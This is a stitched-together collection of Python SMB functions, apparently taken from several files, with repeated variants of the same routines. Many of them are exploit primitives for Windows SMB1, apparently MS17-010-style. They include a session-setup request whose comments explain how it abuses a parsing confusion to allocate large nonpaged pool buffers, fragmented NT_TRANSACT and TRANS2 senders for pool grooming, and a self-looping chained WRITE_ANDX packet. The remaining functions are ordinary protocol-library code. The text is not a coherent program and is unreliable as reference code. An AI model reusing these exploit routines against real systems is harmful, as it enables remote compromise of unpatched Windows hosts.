def createSessionAllocNonPaged(target, size): conn = MYSMB(target, use_ntlmv2=False) # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set _, flags2 = conn.get_flags() # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 if size >= 0xffff: flags2 &= ~smb.SMB.FLAGS2_UNICODE reqSize = size // 2 else: flags2 |= smb.SMB.FLAGS2_UNICODE reqSize = size conn.set_flags(flags2=flags2) pkt = smb.NewSMBPacket() sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters'][ 'SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS sessionSetup['Data'] = pack('<H', reqSize) + '\x00' * 20 pkt.addCommand(sessionSetup) conn.sendSMB(pkt) recvPkt = conn.recvSMB() if recvPkt.getNTStatus() == 0: print('SMB1 session setup allocate nonpaged pool success') return conn if USERNAME: # Try login with valid user because anonymous user might get access denied on Windows Server 2012. # Note: If target allows only NTLMv2 authentication, the login will always fail. # support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16) flags2 &= ~smb.SMB.FLAGS2_UNICODE reqSize = size // 2 conn.set_flags(flags2=flags2) # new SMB packet to reset flags pkt = smb.NewSMBPacket() pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD)) # UnicodePasswordLen field is in Reserved for extended security format. sessionSetup['Parameters']['Reserved'] = len(pwd_unicode) sessionSetup['Data'] = pack('<H', reqSize + len(pwd_unicode) + len(USERNAME)) + pwd_unicode + USERNAME + '\x00' * 16 pkt.addCommand(sessionSetup) conn.sendSMB(pkt) recvPkt = conn.recvSMB() if recvPkt.getNTStatus() == 0: print('SMB1 session setup allocate nonpaged pool success') return conn # lazy to check error code, just print fail message print('SMB1 session setup allocate nonpaged pool failed') sys.exit(1)
def send_trans2_second(conn, tid, data, displacement): pkt = smb.NewSMBPacket() pkt['Tid'] = tid # assume no params transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY) transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed() transCommand['Data'] = smb.SMBTransaction2Secondary_Data() transCommand['Parameters']['TotalParameterCount'] = 0 transCommand['Parameters']['TotalDataCount'] = len(data) fixedOffset = 32+3+18 transCommand['Data']['Pad1'] = '' transCommand['Parameters']['ParameterCount'] = 0 transCommand['Parameters']['ParameterOffset'] = 0 if len(data) > 0: pad2Len = (4 - fixedOffset % 4) % 4 transCommand['Data']['Pad2'] = '\xFF' * pad2Len else: transCommand['Data']['Pad2'] = '' pad2Len = 0 transCommand['Parameters']['DataCount'] = len(data) transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len transCommand['Parameters']['DataDisplacement'] = displacement transCommand['Data']['Trans_Parameters'] = '' transCommand['Data']['Trans_Data'] = data pkt.addCommand(transCommand) conn.sendSMB(pkt)
def _negotiateSession(self, myName, remoteName, remoteHost, sess_port, timeout, extended_security=True, flags1=0, flags2=0, data=None): # Here we follow [MS-SMB2] negotiation handshake trying to understand what dialects # (including SMB1) is supported on the other end. if not myName: myName = socket.gethostname() i = string.find(myName, '.') if i > -1: myName = myName[:i] # If port 445 and the name sent is *SMBSERVER we're setting the name to the IP. This is to help some old # applications still believing # *SMSBSERVER will work against modern OSes. If port is NETBIOS_SESSION_PORT the user better know about i # *SMBSERVER's limitations if sess_port == 445 and remoteName == '*SMBSERVER': remoteName = remoteHost tries = 0 smbp = smb.NewSMBPacket() smbp['Flags1'] = flags1 smbp['Flags2'] = flags2 resp = None while tries < 2: self._nmbSession = nmb.NetBIOSTCPSession(myName, remoteName, remoteHost, nmb.TYPE_SERVER, sess_port, timeout) negSession = smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE) if extended_security is True: smbp['Flags2'] |= smb.SMB.FLAGS2_EXTENDED_SECURITY negSession['Data'] = data smbp.addCommand(negSession) self._nmbSession.send_packet(str(smbp)) try: resp = self._nmbSession.recv_packet(timeout) break except nmb.NetBIOSError: # OSX Yosemite asks for more Flags. Let's give it a try and see what happens smbp[ 'Flags2'] |= smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | smb.SMB.FLAGS2_UNICODE smbp['Data'] = [] tries += 1 if resp is None: # No luck, quitting raise return resp.get_trailer()
def _negotiateSession(self, myName, remoteName, remoteHost, sess_port, timeout, extended_security = True): # Here we follow [MS-SMB2] negotiation handshake trying to understand what dialects # (including SMB1) is supported on the other end. if not myName: myName = socket.gethostname() i = string.find(myName, '.') if i > -1: myName = myName[:i] # If port 445 and the name sent is *SMBSERVER we're setting the name to the IP. This is to help some old applications still believing # *SMSBSERVER will work against modern OSes. If port is NETBIOS_SESSION_PORT the user better know about *SMBSERVER's limitations if sess_port == 445 and remoteName == '*SMBSERVER': remoteName = remoteHost self._nmbSession = nmb.NetBIOSTCPSession(myName, remoteName, remoteHost, nmb.TYPE_SERVER, sess_port, timeout) smbp = smb.NewSMBPacket() negSession = smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE) if extended_security == True: smbp['Flags2']=smb.SMB.FLAGS2_EXTENDED_SECURITY negSession['Data'] = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00' smbp.addCommand(negSession) self._nmbSession.send_packet(str(smbp)) r = self._nmbSession.recv_packet(timeout) return r.get_trailer()
def createSessionAllocNonPaged(self, target, size): conn = smb.SMB(target, target) _, flags2 = conn.get_flags() flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY if size >= 0xffff: flags2 &= ~smb.SMB.FLAGS2_UNICODE reqSize = size // 2 else: flags2 |= smb.SMB.FLAGS2_UNICODE reqSize = size conn.set_flags(flags2=flags2) pkt = smb.NewSMBPacket() sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup[ 'Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Parameters']['MaxBufferSize'] = 61440 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VcNumber'] = 2 sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters']['SecurityBlobLength'] = 0 sessionSetup['Parameters'][ 'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY sessionSetup['Data'] = pack('<H', reqSize) + b'\x00' * 20 pkt.addCommand(sessionSetup) conn.sendSMB(pkt) recvPkt = conn.recvSMB() return conn
def createSessionAllocNonPaged(target, size): # There is a bug in SMB_COM_SESSION_SETUP_ANDX command that allow us to allocate a big nonpaged pool. # The big nonpaged pool allocation is in BlockingSessionSetupAndX() function for storing NativeOS and NativeLanMan. # The NativeOS and NativeLanMan size is caculated from "ByteCount - other_data_size" # Normally a server validate WordCount and ByteCount field in SrvValidateSmb() function. They must not be larger than received data. # For "NT LM 0.12" dialect, There are 2 possible packet format for SMB_COM_SESSION_SETUP_ANDX command. # - https://msdn.microsoft.com/en-us/library/ee441849.aspx for LM and NTLM authentication # - GetNtSecurityParameters() function is resposible for extracting data from this packet format # - https://msdn.microsoft.com/en-us/library/cc246328.aspx for NTLMv2 (NTLM SSP) authentication # - GetExtendSecurityParameters() function is resposible for extracting data from this packet format # These 2 formats have different WordCount (first one is 13 and later is 12). # Here is logic in BlockingSessionSetupAndX() related to this bug # - check WordCount for both formats (the CAP_EXTENDED_SECURITY must be set for extended security format) # - if FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY are set, process a message as Extend Security request # - else, process a message as NT Security request # So we can send one format but server processes it as another format by controlling FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY. # With this confusion, server read a ByteCount from wrong offset to calculating "NativeOS and NativeLanMan size". # But GetExtendSecurityParameters() checks ByteCount value again. # So the only possible request to use the bug is sending Extended Security request but does not set FLAGS2_EXTENDED_SECURITY. conn = smb.SMB(target, target) _, flags2 = conn.get_flags() # FLAGS2_EXTENDED_SECURITY MUST not be set flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 if size >= 0xffff: flags2 &= ~smb.SMB.FLAGS2_UNICODE reqSize = size // 2 else: flags2 |= smb.SMB.FLAGS2_UNICODE reqSize = size conn.set_flags(flags2=flags2) pkt = smb.NewSMBPacket() sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session # UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY # can add other flags sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20 pkt.addCommand(sessionSetup) conn.sendSMB(pkt) recvPkt = conn.recvSMB() if recvPkt.getNTStatus() == 0: print('SMB1 session setup allocate nonpaged pool success') else: print('SMB1 session setup allocate nonpaged pool failed') return conn
def createSessionAllocNonPaged(target, size): conn = smb.SMB(target, target) _, flags2 = conn.get_flags() flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY if size >= 0xffff: flags2 &= ~smb.SMB.FLAGS2_UNICODE reqSize = size // 2 else: flags2 |= smb.SMB.FLAGS2_UNICODE reqSize = size conn.set_flags(flags2=flags2) pkt = smb.NewSMBPacket() sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters'][ 'SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY # can add other flags sessionSetup['Data'] = pack('<H', reqSize) + '\x00' * 20 pkt.addCommand(sessionSetup) conn.sendSMB(pkt) recvPkt = conn.recvSMB() return conn
def create_smb_packet(self, smbReq, mid=None, pid=None, tid=None): if mid is None: mid = self.next_mid() pkt = smb.NewSMBPacket() pkt.addCommand(smbReq) pkt['Tid'] = self._default_tid if tid is None else tid pkt['Uid'] = self._uid pkt['Pid'] = self._pid if pid is None else pid pkt['Mid'] = mid flags1, flags2 = self.get_flags() pkt['Flags1'] = flags1 pkt['Flags2'] = self._pkt_flags2 if self._pkt_flags2 != 0 else flags2 if self._SignatureEnabled: pkt['Flags2'] |= smb.SMB.FLAGS2_SMB_SECURITY_SIGNATURE self.signSMB(pkt, self._SigningSessionKey, self._SigningChallengeResponse) #print("type(pkt): ", type(pkt)) #print("pkt.data: ", pkt.data, type(pkt.data)) #print("pkt.rawData: ", pkt.rawData, type(pkt.rawData)) #print("pkt.data: ", pkt.data, type(pkt.data)) #print("str(pkt): ", str(pkt)) #error req = pkt.getData() #print("type(req): ",type(req)) #print("req: ", req) beg = '\x00'*2 wholebytes = beg.encode() + pack('>H', len(req)) + req return wholebytes # assume length is <65536
def create_smb_packet(self, smbReq, mid=None, pid=None, tid=None): if mid is None: mid = self.next_mid() pkt = smb.NewSMBPacket() pkt.addCommand(smbReq) pkt['Tid'] = self._default_tid if tid is None else tid pkt['Uid'] = self._uid pkt['Pid'] = self._pid if pid is None else pid pkt['Mid'] = mid flags1, flags2 = self.get_flags() pkt['Flags1'] = flags1 pkt['Flags2'] = self._pkt_flags2 if self._pkt_flags2 != 0 else flags2 if self._SignatureEnabled: pkt['Flags2'] |= smb.SMB.FLAGS2_SMB_SECURITY_SIGNATURE self.signSMB(pkt, self._SigningSessionKey, self._SigningChallengeResponse) # req = str(pkt) #ORIGINAL # req = pkt.__str__().decode('utf-8',errors='ignore') # Updated req so it returned the result of the string function. req = pkt.__str__() # Casted null hex char to bytes object for concatination to work. return b'\x00' * 2 + pack('>H', len(req)) + req # assume length is <65536
def do_lots(self, user, pwd_ansi, share, filename, domain=''): pkt = smb.NewSMBPacket() pkt['Flags1'] = 8 sessionSetup = smb.SMBCommand(self.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Parameters() sessionSetup['Data'] = smb.SMBSessionSetupAndX_Data() sessionSetup['Parameters']['MaxBuffer'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VCNumber'] = os.getpid() sessionSetup['Parameters']['SessionKey'] = self.get_session_key() sessionSetup['Parameters']['AnsiPwdLength'] = len(pwd_ansi) sessionSetup['Parameters']['UnicodePwdLength'] = len('') sessionSetup['Parameters']['Capabilities'] = self.CAP_RAW_MODE sessionSetup['Data']['AnsiPwd'] = pwd_ansi sessionSetup['Data']['UnicodePwd'] = '' sessionSetup['Data']['Account'] = str(user) sessionSetup['Data']['PrimaryDomain'] = str(domain) sessionSetup['Data']['NativeOS'] = str(os.name) sessionSetup['Data']['NativeLanMan'] = 'pysmb' # This is an example of how to use chained ANDX commands treeConnect = smb.SMBCommand(self.SMB_COM_TREE_CONNECT_ANDX) treeConnect['Parameters'] = smb.SMBTreeConnectAndX_Parameters() treeConnect['Data'] = smb.SMBTreeConnectAndX_Data() treeConnect['Parameters']['PasswordLength'] = 1 treeConnect['Data']['Password'] = '******' treeConnect['Data']['Path'] = share treeConnect['Data']['Service'] = smb.SERVICE_ANY openFile = smb.SMBCommand(self.SMB_COM_OPEN_ANDX) openFile['Parameters'] = smb.SMBOpenAndX_Parameters() openFile['Parameters']['DesiredAccess'] = smb.SMB_ACCESS_READ openFile['Parameters']['OpenMode'] = smb.SMB_O_OPEN openFile['Parameters']['SearchAttributes'] = 0 openFile['Data'] = smb.SMBOpenAndX_Data() openFile['Data']['FileName'] = filename readAndX = smb.SMBCommand(self.SMB_COM_READ_ANDX) readAndX['Parameters'] = smb.SMBReadAndX_Parameters() readAndX['Parameters']['Offset'] = 0 readAndX['Parameters']['Fid'] = 0 readAndX['Parameters']['MaxCount'] = 4000 pkt.addCommand(sessionSetup) pkt.addCommand(treeConnect) pkt.addCommand(openFile) pkt.addCommand(readAndX) # This is an example of how to make a loop with the chained commands # treeConnect['Parameters']['AndXCommand'] = self.SMB_COM_TREE_CONNECT_ANDX # treeConnect['Parameters']['AndXOffset'] = 72 self.sendSMB(pkt) pkt = self.recvSMB()
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): pkt = smb.NewSMBPacket() pkt['Tid'] = tid command = pack('<H', setup) transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) transCommand['Parameters'] = smb.SMBNTTransaction_Parameters() transCommand['Parameters']['MaxSetupCount'] = 1 transCommand['Parameters']['MaxParameterCount'] = len(param) transCommand['Parameters']['MaxDataCount'] = 0 transCommand['Data'] = smb.SMBTransaction2_Data() transCommand['Parameters']['Setup'] = command transCommand['Parameters']['TotalParameterCount'] = len(param) transCommand['Parameters']['TotalDataCount'] = len(data) fixedOffset = 32 + 3 + 38 + len(command) if len(param) > 0: padLen = (4 - fixedOffset % 4) % 4 padBytes = '\xFF' * padLen transCommand['Data']['Pad1'] = padBytes else: transCommand['Data']['Pad1'] = '' padLen = 0 transCommand['Parameters']['ParameterCount'] = len(param) transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen if len(data) > 0: pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 transCommand['Data']['Pad2'] = '\xFF' * pad2Len else: transCommand['Data']['Pad2'] = '' pad2Len = 0 transCommand['Parameters']['DataCount'] = firstDataFragmentSize transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len transCommand['Data']['Trans_Parameters'] = param transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize] pkt.addCommand(transCommand) conn.sendSMB(pkt) conn.recvSMB() # must be success i = firstDataFragmentSize while i < len(data): sendSize = min(4096, len(data) - i) if len(data) - i <= 4096: if not sendLastChunk: break send_trans2_second(conn, tid, data[i:i + sendSize], i) i += sendSize if sendLastChunk: conn.recvSMB() return i
def negotiateSessionWildcard(self, myName, remoteName, remoteHost, sess_port, timeout, extended_security=True, flags1=0, flags2=0, data=None): # Here we follow [MS-SMB2] negotiation handshake trying to understand what dialects # (including SMB1) is supported on the other end. if not myName: myName = socket.gethostname() i = string.find(myName, '.') if i > -1: myName = myName[:i] tries = 0 smbp = smb.NewSMBPacket() smbp['Flags1'] = flags1 # FLAGS2_UNICODE is required by some stacks to continue, regardless of subsequent support smbp['Flags2'] = flags2 | smb.SMB.FLAGS2_UNICODE resp = None while tries < 2: self._nmbSession = nmb.NetBIOSTCPSession(myName, remoteName, remoteHost, nmb.TYPE_SERVER, sess_port, timeout) negSession = smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE) if extended_security is True: smbp['Flags2'] |= smb.SMB.FLAGS2_EXTENDED_SECURITY negSession['Data'] = data smbp.addCommand(negSession) self._nmbSession.send_packet(str(smbp)) try: resp = self._nmbSession.recv_packet(timeout) break except nmb.NetBIOSError: # OSX Yosemite asks for more Flags. Let's give it a try and see what happens smbp[ 'Flags2'] |= smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | smb.SMB.FLAGS2_UNICODE smbp['Data'] = [] tries += 1 if resp is None: # No luck, quitting raise return resp.get_trailer()
def SendNtTrans(conn, tid, functionID, maxSetupCount, setup, maxDataCount, totalDataCount, data, maxParamCount, totalParamCount, param): smb_packet = smb.NewSMBPacket() smb_packet['Tid'] = tid # setup depends on NT_TRANSACT subcommands so it may be 0. setup_bytes = struct.pack('<H', setup) if setup != '' else '' transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) transCommand['Parameters'] = smb.SMBNTTransaction_Parameters() transCommand['Parameters']['Setup'] = setup_bytes transCommand['Parameters']['Function'] = functionID transCommand['Parameters']['TotalParameterCount'] = totalParamCount transCommand['Parameters']['TotalDataCount'] = totalDataCount transCommand['Parameters']['MaxParameterCount'] = maxParamCount transCommand['Parameters']['MaxDataCount'] = maxDataCount transCommand['Parameters']['MaxSetupCount'] = maxSetupCount transCommand['Data'] = smb.SMBNTTransaction_Data() # SMB header size + SMB_COM_NT_TRANSACT parameters size + length of setup bytes. offset = 32 + 3 + 38 + len(setup_bytes) transCommand['Data']['Pad1'] = '' if offset % 4 != 0: transCommand['Data']['Pad1'] = '\0' * (4 - offset % 4) offset += (4 - offset % 4) # pad1 length if len(param) > 0: transCommand['Parameters']['ParameterOffset'] = offset else: transCommand['Parameters']['ParameterOffset'] = 0 offset += len(param) transCommand['Data']['Pad2'] = '' if offset % 4 != 0: transCommand['Data']['Pad2'] = '\0' * (4 - offset % 4) offset += (4 - offset % 4) if len(data) > 0: transCommand['Parameters']['DataOffset'] = offset else: transCommand['Parameters']['DataOffset'] = 0 transCommand['Parameters']['DataCount'] = len(data) transCommand['Parameters']['ParameterCount'] = len(param) transCommand['Data']['NT_Trans_Parameters'] = param transCommand['Data']['NT_Trans_Data'] = data smb_packet.addCommand(transCommand) conn.sendSMB(smb_packet)
def send_nt_trans(tid, setup, data, param, firstDataCnt): pkt = smb.NewSMBPacket() pkt['Tid'] = tid command = pack('<H', setup) transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) transCommand['Parameters'] = smb.SMBNTTransaction_Parameters() transCommand['Parameters']['MaxSetupCount'] = 1 transCommand['Parameters']['MaxParameterCount'] = len(param) transCommand['Parameters']['MaxDataCount'] = 0 transCommand['Data'] = smb.SMBTransaction2_Data() transCommand['Parameters']['Setup'] = command transCommand['Parameters']['TotalParameterCount'] = len(param) transCommand['Parameters']['TotalDataCount'] = len(data) fixedOffset = 32+3+38 + len(command) if len(param) > 0: padLen = (4 - fixedOffset % 4 ) % 4 padBytes = '\xFF' * padLen transCommand['Data']['Pad1'] = padBytes else: transCommand['Data']['Pad1'] = '' padLen = 0 transCommand['Parameters']['ParameterCount'] = len(param) transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen if len(data) > 0: pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 transCommand['Data']['Pad2'] = '\xFF' * pad2Len else: transCommand['Data']['Pad2'] = '' pad2Len = 0 transCommand['Parameters']['DataCount'] = firstDataCnt transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len transCommand['Data']['Trans_Parameters'] = param transCommand['Data']['Trans_Data'] = data[:firstDataCnt] pkt.addCommand(transCommand) conn.sendSMB(pkt) i = firstDataCnt while i < len(data): sendSize = min(4096, len(data) - i) send_trans2_second(tid, data[i:i+sendSize], i) i += sendSize conn.recvSMB()
def process(data, packetNum): packet = smb.NewSMBPacket() if data.get_packet()[0] == '\x00': if data.get_packet()[4:8] == '\xffSMB': try: packet.fromString(data.get_packet()[4:]) except Exception, e: print "ERROR: %s" % e print "Command: SMBPacket" print "Packet: %d %r" % (packetNum, data.get_packet()) return True else: return False
def sendEcho(conn, tid, data): pkt = smb.NewSMBPacket() pkt['Tid'] = tid transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO) transCommand['Parameters'] = smb.SMBEcho_Parameters() transCommand['Data'] = smb.SMBEcho_Data() transCommand['Parameters']['EchoCount'] = 1 transCommand['Data']['Data'] = data pkt.addCommand(transCommand) conn.sendSMB(pkt) recvPkt = conn.recvSMB()
def send_echo(self, data): pkt = smb.NewSMBPacket() pkt['Tid'] = self._default_tid transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO) transCommand['Parameters'] = smb.SMBEcho_Parameters() transCommand['Data'] = smb.SMBEcho_Data() transCommand['Parameters']['EchoCount'] = 1 transCommand['Data']['Data'] = data pkt.addCommand(transCommand) self.sendSMB(pkt) return self.recvSMB()
def SendTrans2Secondary(conn, tid, totalParamCount, totalDataCount, paraCount, param, ParaDisplacement, dataCount, data, dataDisplacement, FID): smb_packet = smb.NewSMBPacket() smb_packet['Tid'] = tid transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY) transCommand['Parameters'] = smb.SMBTransaction2Secondary_Parameters() transCommand['Data'] = smb.SMBTransaction2Secondary_Data() transCommand['Parameters']['TotalParameterCount'] = len(param) transCommand['Parameters']['TotalDataCount'] = len(data) transCommand['Parameters']['FID'] = FID transCommand['Parameters']['DataDisplacement'] = dataDisplacement transCommand['Parameters']['ParameterDisplacement'] = ParaDisplacement if len(param) > 0: padLen = (4 - (32 + 2 + 18) % 4) % 4 padBytes = '\xFF' * padLen transCommand['Data']['Pad1'] = padBytes else: transCommand['Data']['Pad1'] = '' padLen = 0 transCommand['Parameters']['ParameterOffset'] = 32 + 2 + 18 + padLen transCommand['Parameters']['ParameterCount'] = len(param) if len(data) > 0: pad2Len = (4 - (32 + 2 + 18 + padLen + len(param)) % 4) % 4 transCommand['Data']['Pad2'] = '\xFF' * pad2Len else: transCommand['Data']['Pad2'] = '' pad2Len = 0 transCommand['Parameters']['DataCount'] = len(data) transCommand['Parameters']['DataOffset'] = transCommand['Parameters'][ 'ParameterOffset'] + len(param) + pad2Len transCommand['Data']['Trans_Parameters'] = param transCommand['Data']['Trans_Data'] = data smb_packet.addCommand(transCommand) transCommand['Parameters'].dump() transCommand['Data'].dump() conn.sendSMB(smb_packet)
def send_trans2(conn, tid, setup, name, param, data): pkt = smb.NewSMBPacket() pkt['Tid'] = tid command = pack('<H', setup) transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2) transCommand['Parameters'] = smb.SMBTransaction2_Parameters() transCommand['Parameters']['MaxDataCount'] = len(data) transCommand['Data'] = smb.SMBTransaction2_Data() transCommand['Parameters']['Setup'] = command transCommand['Parameters']['TotalParameterCount'] = len(param) transCommand['Parameters']['TotalDataCount'] = len(data) if len(param) > 0: padLen = (4 - (32 + 2 + 28 + len(command)) % 4) % 4 padBytes = '\xFF' * padLen transCommand['Data']['Pad1'] = padBytes else: transCommand['Data']['Pad1'] = '' padLen = 0 transCommand['Parameters']['ParameterCount'] = len(param) transCommand['Parameters']['ParameterOffset'] = 32 + 2 + 28 + len( command) + len(name) + padLen if len(data) > 0: pad2Len = (4 - (32 + 2 + 28 + len(command) + padLen + len(param)) % 4) % 4 transCommand['Data']['Pad2'] = '\xFF' * pad2Len else: transCommand['Data']['Pad2'] = '' pad2Len = 0 transCommand['Parameters']['DataCount'] = len(data) transCommand['Parameters']['DataOffset'] = transCommand['Parameters'][ 'ParameterOffset'] + len(param) + pad2Len transCommand['Data']['Name'] = name transCommand['Data']['Trans_Parameters'] = param transCommand['Data']['Trans_Data'] = data pkt.addCommand(transCommand) conn.sendSMB(pkt)
def sendEcho(conn, tid, data): pkt = smb.NewSMBPacket() pkt['Tid'] = tid transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO) transCommand['Parameters'] = smb.SMBEcho_Parameters() transCommand['Data'] = smb.SMBEcho_Data() transCommand['Parameters']['EchoCount'] = 1 transCommand['Data']['Data'] = data pkt.addCommand(transCommand) conn.sendSMB(pkt) recvPkt = conn.recvSMB() if recvPkt.getNTStatus() == 0: module.log('got good ECHO response') else: module.log('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error')
def createSessionAllocNonPaged(target, size): # The big nonpaged pool allocation is in BlockingSessionSetupAndX() function # You can see the allocation logic (even code is not the same) in WinNT4 source code # https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/smbadmin.c#L1050 till line 1071 conn = smb.SMB(target, target) _, flags2 = conn.get_flags() # FLAGS2_EXTENDED_SECURITY MUST not be set flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 if size >= 0xffff: flags2 &= ~smb.SMB.FLAGS2_UNICODE reqSize = size // 2 else: flags2 |= smb.SMB.FLAGS2_UNICODE reqSize = size conn.set_flags(flags2=flags2) pkt = smb.NewSMBPacket() sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Parameters'][ 'MaxBufferSize'] = 61440 # can be any value greater than response size sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value sessionSetup['Parameters']['VcNumber'] = os.getpid() sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters']['SecurityBlobLength'] = 0 sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY # I believe this is another SMB1 bug. # Empty SecurityBlob with CAP_EXTENDED_SECURITY but no FLAGS2_EXTENDED_SECURITY makes target confused the request type. # This request should be https://msdn.microsoft.com/en-us/library/cc246328.aspx. After some checking, a target use # this request as https://msdn.microsoft.com/en-us/library/ee441849.aspx. So a target reads ByteCount from wrong offset. sessionSetup['Data'] = pack('<H', reqSize) + '\x00' * 20 pkt.addCommand(sessionSetup) conn.sendSMB(pkt) recvPkt = conn.recvSMB() if recvPkt.getNTStatus() == 0: print('SMB1 session setup allocate nonpaged pool success') else: print('SMB1 session setup allocate nonpaged pool failed') return conn
def loop_write_andx(self,tid,fid,data, offset = 0, wait_answer=1): pkt = smb.NewSMBPacket() pkt['Flags1'] = 0x18 pkt['Flags2'] = 0 pkt['Tid'] = tid writeAndX = smb.SMBCommand(self.SMB_COM_WRITE_ANDX) pkt.addCommand(writeAndX) writeAndX['Parameters'] = smb.SMBWriteAndX_Parameters() writeAndX['Parameters']['Fid'] = fid writeAndX['Parameters']['Offset'] = offset writeAndX['Parameters']['WriteMode'] = 0 writeAndX['Parameters']['Remaining'] = len(data) writeAndX['Parameters']['DataLength'] = len(data) writeAndX['Parameters']['DataOffset'] = len(pkt) writeAndX['Data'] = data+('A'*4000) saved_offset = len(pkt) writeAndX2 = smb.SMBCommand(self.SMB_COM_WRITE_ANDX) pkt.addCommand(writeAndX2) writeAndX2['Parameters'] = smb.SMBWriteAndX_Parameters() writeAndX2['Parameters']['Fid'] = fid writeAndX2['Parameters']['Offset'] = offset writeAndX2['Parameters']['WriteMode'] = 0 writeAndX2['Parameters']['Remaining'] = len(data) writeAndX2['Parameters']['DataLength'] = len(data) writeAndX2['Parameters']['DataOffset'] = len(pkt) writeAndX2['Data'] = '<pata>\n' writeAndX2['Parameters']['AndXCommand'] = self.SMB_COM_WRITE_ANDX writeAndX2['Parameters']['AndXOffset'] = saved_offset self.sendSMB(pkt) if wait_answer: pkt = self.recvSMB() if pkt.isValidAnswer(self.SMB_COM_WRITE_ANDX): return pkt return None
